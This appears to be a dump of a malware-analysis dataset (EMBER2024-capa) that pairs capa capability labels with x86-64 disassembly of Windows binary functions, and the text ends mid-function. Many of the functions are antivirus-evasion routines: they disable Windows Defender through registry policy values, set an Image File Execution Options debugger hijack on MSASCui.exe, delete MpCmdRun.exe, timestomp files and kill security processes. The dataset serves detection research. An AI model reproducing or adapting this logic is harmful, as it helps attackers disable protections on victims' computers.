joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003b70
Capabilities:
Disable windows defender features via registry on windows
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x40
lea rax, [rsp + 0x68]
xor ebx, ebx
mov r9d, 0xf003f
mov qword [rsp + 0x68], rbx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140003bb1
lea eax, [rbx + 1]
add rsp, 0x40
pop rbx
ret
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
lea r8, str.DisableAntiSpyware
lea rax, [rsp + 0x50]
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x28], rax
mov r9d, 0x10
lea rax, [rsp + 0x60]
mov dword [rsp + 0x58], 4
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
cmp dword [rsp + 0x50], ebx
jne 0x140003c39
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableAntiSpyware
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x50], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb ebx, ebx
and ebx, 2
jmp 0x140003c3e
mov ebx, 3
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x140035884]
cmp eax, 0x1f
jge 0x140003c65
add eax, 0x67
mov dword [0x140035884], eax
mov eax, ebx
add rsp, 0x40
pop rbx
ret
add eax, 0xfffffffe
mov dword [0x140035884], eax
mov eax, ebx
add rsp, 0x40
pop rbx
ret
Function at 0x140003c80
Capabilities:
Disable windows defender features via registry on windows
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x60
mov eax, dword [0x140035884]
cmp eax, 0x20
jge 0x140003c96
add eax, 0x68
jmp 0x140003c99
add eax, 0xfffffffe
mov dword [0x140035884], eax
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
lea rax, [rsp + 0x58]
xor ebx, ebx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x58], rbx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140003cda
lea eax, [rbx + 1]
add rsp, 0x60
pop rbx
ret
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x40], rax
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 6
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140003dc8
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r8, str.DisableRealtimeMonitoring
lea rax, [rsp + 0x70]
mov dword [rsp + 0x70], ebx
mov qword [rsp + 0x28], rax
mov ebx, 4
lea rax, [rsp + 0x88]
mov dword [rsp + 0x78], ebx
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
cmp dword [rsp + 0x70], 0
jne 0x140003db5
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x28], ebx
lea rdx, str.DisableRealtimeMonitoring
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x70], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb ebx, ebx
and ebx, 3
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x60
pop rbx
ret
mov ebx, 2
mov eax, ebx
add rsp, 0x60
pop rbx
ret
Function at 0x140003fb0
Capabilities:
Set registry value

Disassembly:
mov eax, 0x2058
call fcn.1400111e0
sub rsp, rax
xor edx, edx
lea rax, [rsp + 0x50]
mov word [rsp + 0x50], dx
sub rax, 2
nop dword [rax]
cmp word [rax + 2], dx
lea rax, [rax + 2]
jne 0x140003fd0
movaps xmm0, xmmword [str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options]
movaps xmm1, xmmword [0x14001a080]
mov ecx, dword [0x14001a100]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x14001a090]
movups xmmword [rax + 0x10], xmm1
movaps xmm1, xmmword [0x14001a0a0]
movups xmmword [rax + 0x20], xmm0
movaps xmm0, xmmword [0x14001a0b0]
movups xmmword [rax + 0x30], xmm1
movaps xmm1, xmmword [0x14001a0c0]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [0x14001a0d0]
movups xmmword [rax + 0x50], xmm1
movaps xmm1, xmmword [0x14001a0e0]
movups xmmword [rax + 0x60], xmm0
movaps xmm0, xmmword [0x14001a0f0]
movups xmmword [rax + 0x70], xmm1
movups xmmword [rax + 0x80], xmm0
mov dword [rax + 0x90], ecx
lea rcx, [rsp + 0x50]
sub rcx, 2
cmp word [rcx + 2], dx
lea rcx, [rcx + 2]
jne 0x140004054
mov eax, dword [0x140019c88]
mov dword [rcx], eax
lea rcx, [rsp + 0x50]
sub rcx, 2
nop
cmp word [rcx + 2], dx
lea rcx, [rcx + 2]
jne 0x140004070
movzx eax, word [0x14001a4b8]
xor r9d, r9d
movups xmm0, xmmword [str.MSASCuiI.exe]
xor r8d, r8d
mov qword [rsp + 0x2068], rdx
movsd xmm1, qword [0x14001a4b0]
movups xmmword [rcx], xmm0
movsd qword [rcx + 0x10], xmm1
mov word [rcx + 0x18], ax
lea rax, [rsp + 0x2060]
mov qword [rsp + 0x40], rax
mov rcx, 0xffffffff80000002
lea rax, [rsp + 0x2068]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 6
mov dword [rsp + 0x20], edx
lea rdx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000414e
mov rcx, qword [rsp + 0x2068]
lea rax, str.MSASCuiL.exe
mov dword [rsp + 0x28], 0x18
lea rdx, str.Debugger
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x2050], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x2068]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
mov rbx, qword [rsp + 0x2050]
jne 0x14000414e
mov eax, 1
add rsp, 0x2058
ret
xor eax, eax
add rsp, 0x2058
ret
Function at 0x140004160
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov edi, edx
mov ebp, ecx
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000419a
lea eax, [rsi + 2]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x1400041d2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 2
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 0x50], rbx
cmp dword [rsp + 0x2c], ebp
jne 0x14000421c
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x14000421c
cmp edi, 1
jne 0x140004205
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
jmp 0x140004213
cmp edi, 2
jne 0x140004213
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400041d7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140004540
Capabilities:
Access firewall policy via inetfwpolicy2

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
xor ebx, ebx
lea rcx, str.Microsoft_OneDrive
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
lea edx, [rbx + 2]
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov ecx, 0x80000000
mov edi, eax
add eax, ecx
test ecx, eax
jne 0x140004597
cmp edi, 0x80010106
je 0x140004597
mov ebx, 1
jmp 0x1400045f2
xor edx, edx
lea rax, [rsp + 0x48]
lea r9, [0x14001a160]
mov qword [rsp + 0x20], rax
lea rcx, [0x14001a150]
lea r8d, [rdx + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x1400045c6
mov ebx, 2
jmp 0x1400045f2
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
jns 0x1400045e4
mov ebx, 3
jmp 0x1400045f2
mov rcx, qword [rsp + 0x40]
mov rdx, rsi
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, rsi
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000460b
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14000461b
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test edi, edi
js 0x140004625
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140005360
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push rsi
sub rsp, 0x40
mov esi, dword [0x1400476ec]
test esi, esi
je 0x14000543f
xor edx, edx
mov qword [rsp + 0x58], rdi
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400053b0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x1400053d1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x140035884]
cmp eax, 0x3e
jge 0x140005431
mov rdi, qword [rsp + 0x58]
add eax, 0x86
mov dword [0x140035884], eax
add rsp, 0x40
pop rsi
ret
mov qword [rsp + 0x50], rbx
cmp dword [rsp + 0x2c], esi
jne 0x140005406
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x140005406
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400053d6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x40
pop rsi
ret
mov rdi, qword [rsp + 0x58]
sub eax, 5
mov dword [0x140035884], eax
add rsp, 0x40
pop rsi
ret

Function at 0x140005450
Capabilities:
Enumerate threads
Resume thread

Disassembly:
push rsi
sub rsp, 0x40
mov esi, dword [0x1400476ec]
test esi, esi
je 0x14000552f
xor edx, edx
mov qword [rsp + 0x58], rdi
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400054a0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x1400054c1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x140035884]
cmp eax, 0x3f
jge 0x140005521
mov rdi, qword [rsp + 0x58]
add eax, 0x87
mov dword [0x140035884], eax
add rsp, 0x40
pop rsi
ret
mov qword [rsp + 0x50], rbx
cmp dword [rsp + 0x2c], esi
jne 0x1400054f6
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x1400054f6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400054c6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x40
pop rsi
ret
mov rdi, qword [rsp + 0x58]
sub eax, 5
mov dword [0x140035884], eax
add rsp, 0x40
pop rsi
ret
Function at 0x140005540
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, dword [0x1400476ec]
test r8d, r8d
je 0x1400055ba
xor edx, edx
mov qword [rsp + 0x20], rdi
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400055b5
mov qword [rsp + 0x30], rbx
mov ebx, 8
nop dword [rax]
nop dword [rax + rax]
xor edx, edx
mov rcx, rdi
dec ebx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x1400055a3
mov edx, 0xfa0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1400055a7
test ebx, ebx
jne 0x140005580
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret
Function at 0x1400059a0
Capabilities:
Delete file

Disassembly:
mov eax, 0x10028
call fcn.1400111e0
sub rsp, rax
xor eax, eax
lea rcx, [rsp + 0x20]
mov word [rsp + 0x20], ax
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], ax
lea rcx, [rcx + 2]
jne 0x1400059c0
lea r8, [0x140045d10]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x1400059e0
lea rcx, [rsp + 0x20]
mov rax, 0xffffffffffffffff
nop
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140005a00
cmp word [rsp + rax*2 + 0x1e], 0x5c
je 0x140005a33
lea rcx, [rsp + 0x20]
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x140005a20
mov eax, dword [0x140019c88]
mov dword [rcx], eax
lea rcx, [rsp + 0x20]
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x140005a40
lea r8, str.MpCmdRun.exe
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140005a60
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
add rsp, 0x10028
ret
Function at 0x140005e10
Capabilities:
Timestomp file

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov rsi, rdx
mov dword [rsp + 0x28], 0x80
mov edx, 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005eff
lea r9, [rsp + 0x70]
mov qword [rsp + 0x60], rbx
lea r8, [rsp + 0x78]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140005eed
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0x100
mov rcx, rsi
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005eed
lea r9, [rsp + 0x70]
mov rcx, rax
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov rbx, qword [rsp + 0x60]
xor eax, eax
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov rsi, qword [rsp + 0x68]
xor eax, eax
add rsp, 0x50
pop rdi
ret
Function at 0x140006a80
Capabilities:
Terminate process
Terminate thread

Disassembly:
push rbx
sub rsp, 0x20
mov rcx, qword [0x140025858]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [0x140025858]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x140045f1a], 0
jne 0x140006ac5
cmp byte [0x1400358b3], 0
je 0x140006b91
cmp byte [0x1400358b2], 0
je 0x140006b91
mov rcx, qword [0x140025848]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [0x140025848]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140025850]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [0x140025850]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140025840]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [0x140025840]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140022838]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [0x140022838]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x140022810]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x1400358b8]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call fcn.140005540
call fcn.140005aa0
call fcn.140004540
call fcn.140004540
mov ebx, 0x10
mov qword [rsp + 0x30], rdi
nop dword [rax]
test ebx, ebx
je 0x140006b8c
call fcn.1400059a0
mov ecx, 0x64
mov edi, eax
dec ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x140006b70
mov rdi, qword [rsp + 0x30]
mov r8d, dword [0x140045d0c]
test r8d, r8d
je 0x140006bca
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140006bca
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
pop rbx
ret
Function at 0x140006c90
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x234
mov rbx, rax
call fcn.140007ee0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006d78
lea rdi, str.explorer.exe
nop dword [rax]
nop word [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x260]
mov r8d, 0x1fe
call fcn.140007ee0
xor ecx, ecx
nop word [rax + rax]
movzx eax, word [rsp + rcx + 0x4c]
mov word [rsp + rcx + 0x260], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140006d10
lea rcx, [rsp + 0x260]
call qword [sym.imp.USER32.dll_CharLowerW]
mov r8, rax
mov rcx, 0xffffffffffffffff
nop
movzx edx, word [r8 + rcx*2 + 2]
cmp dx, word [rdi + rcx*2 + 2]
jne 0x140006d62
add rcx, 2
cmp rcx, 0xd
je 0x140006d94
movzx eax, word [r8 + rcx*2]
cmp ax, word [rdi + rcx*2]
je 0x140006d40
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006cf0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret

Function at 0x140006dc0
Capabilities:
Enumerate processes

Disassembly:
push rsi
sub rsp, 0x460
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140006de8
xor eax, eax
add rsp, 0x460
pop rsi
ret
mov qword [rsp + 0x470], rbx
lea rdx, [rsp + 0x220]
mov qword [rsp + 0x478], rbp
mov rcx, rsi
mov qword [rsp + 0x480], rdi
mov dword [rsp + 0x220], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006ef2
lea rbp, str.avgui.exe
nop dword [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x1fe
call fcn.140007ee0
xor ecx, ecx
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [rsp + rcx + 0x24c]
mov word [rsp + rcx + 0x20], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140006e50
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_CharLowerW]
lea rcx, [rsp + 0x20]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140006e80
test rax, rax
je 0x140006ed9
xor ebx, ebx
mov rdi, rbp
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rdi]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140006eb0
test r8, r8
je 0x140006ed9
lea rcx, [rsp + 0x20]
call fcn.140008ad8
test eax, eax
je 0x140006f1e
inc ebx
add rdi, 8
cmp ebx, 0x20
jl 0x140006ea0
lea rdx, [rsp + 0x220]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006e30
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbp, qword [rsp + 0x478]
mov rbx, qword [rsp + 0x470]
mov rdi, qword [rsp + 0x480]
add rsp, 0x460
pop rsi
ret
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140006efd
Function at 0x140009628
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000938c
Function at 0x41dda0
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc38
xor r9d, r9d
mov word [rcx], r9w
movzx eax, word [rdx]
mov rbx, rcx
mov rsi, r8
test ax, ax
je 0x41de98
lea rdi, [rdx + 2]
xor edx, edx
jmp 0x41ddf0
test rdx, rdx
je 0x41de78
mov word [rdx], ax
add rdx, 2
movzx eax, word [rdi]
add rdi, 2
test ax, ax
je 0x41de98
cmp ax, 0x25
jne 0x41ddd0
test rdx, rdx
je 0x41deb0
xor ecx, ecx
lea r12, [rsp + 0x430]
mov word [rdx], cx
lea rdx, str.TEMP
mov rcx, r12
call sub.msvcrt.dll__wcsicmp
test eax, eax
je 0x41df68
lea rdx, str.PROGRAM
mov rcx, r12
call sub.msvcrt.dll__wcsicmp
test eax, eax
je 0x41df78
lea rdx, [0x004298fe]
mov rcx, r12
call sub.msvcrt.dll__wcsicmp
test eax, eax
je 0x41df30
lea rdx, str.TIME
mov rcx, r12
call sub.msvcrt.dll__wcsicmp
test eax, eax
je 0x41ded0
xor eax, eax
add rsp, 0xc38
pop rbx
pop rsi
pop rdi
pop r12
ret
test rsi, rsi
je 0x41de64
mov word [rbx], ax
movzx eax, word [rdi]
sub rsi, 1
add rbx, 2
add rdi, 2
test ax, ax
jne 0x41ddf0
xor eax, eax
mov word [rbx], ax
mov eax, 1
add rsp, 0xc38
pop rbx
pop rsi
pop rdi
pop r12
ret
xor r8d, r8d
lea rdx, [rsp + 0x430]
mov word [rsp + 0x430], r8w
jmp 0x41dde0
lea rcx, [rsp + 0x28]
lea r12, [rsp + 0x30]
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov r9, qword [rsp + 0x28]
mov rcx, r12
lea r8, str._lld
mov edx, 0x400
call fcn.00402370
mov r8, rsi
mov rdx, r12
mov rcx, rbx
call fcn.0041dca0
jmp 0x41df20
add rbx, 2
sub rsi, 1
cmp word [rbx], 0
jne 0x41df18
xor edx, edx
jmp 0x41dde0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea r12, [rsp + 0x30]
mov edx, pe_nt_image_headers64
lea r8, [0x00429906]
mov rcx, r12
mov r9d, eax
call fcn.00402370
mov r8, rsi
mov rdx, r12
mov rcx, rbx
call fcn.0041dca0
jmp 0x41df20
mov rdx, rbx
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x41df20
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp word [rbx], 0
mov rdx, rsi
mov rcx, qword [rax]
mov rax, rbx
je 0x41dfae
nop dword [rax + rax]
add rax, 2
sub rdx, 1
cmp word [rax], 0
jne 0x41dfa0
movzx r8d, word [rcx]
test r8w, r8w
je 0x41dfe3
test rdx, rdx
jne 0x41dfc9
jmp 0x41dfed
test rdx, rdx
je 0x42671a
add rcx, 2
mov word [rax], r8w
add rax, 2
sub rdx, 1
movzx r8d, word [rcx]
test r8w, r8w
jne 0x41dfc0
xor edx, edx
mov word [rax], dx
jmp 0x41df20
jmp 0x42671a
Function at 0x140006240
Capabilities:
Get hostname

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
mov dword [rbp - 0xc], 0
lea r8, [rbp - 0xc]
mov ecx, 5
xor edx, edx
call qword [sym.imp.kernel32.dll_GetComputerNameExW]
test eax, eax
jne 0x140006295
call fcn.1400063b0
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x30], edx
mov qword [rbp - 0x40], 1
test rax, rax
je 0x140006295
lea rcx, [rbp - 0x38]
call fcn.1400063d0
mov eax, dword [rbp - 0xc]
test rax, rax
mov qword [rbp - 0x18], rax
je 0x1400062ce
lea rdi, [rax + rax]
movzx eax, byte [0x140034181]
mov edx, 2
mov rcx, rdi
call fcn.1400061f0
mov rdx, rax
test rax, rax
jne 0x1400062d3
mov ecx, 2
mov rdx, rdi
call fcn.1400262e0
mov edx, 2
lea r8, [rbp - 0xc]
mov ecx, 5
mov qword [rbp - 0x20], rdx
call qword [sym.imp.kernel32.dll_GetComputerNameExW]
test eax, eax
je 0x14000630c
mov r8d, dword [rbp - 0xc]
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp - 0x20]
call fcn.14000d880
movups xmm0, xmmword [rbp - 0x40]
movups xmm1, xmmword [rbp - 0x30]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
jmp 0x14000633f
call fcn.1400063b0
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], edx
shl rdx, 0x20
or rdx, 2
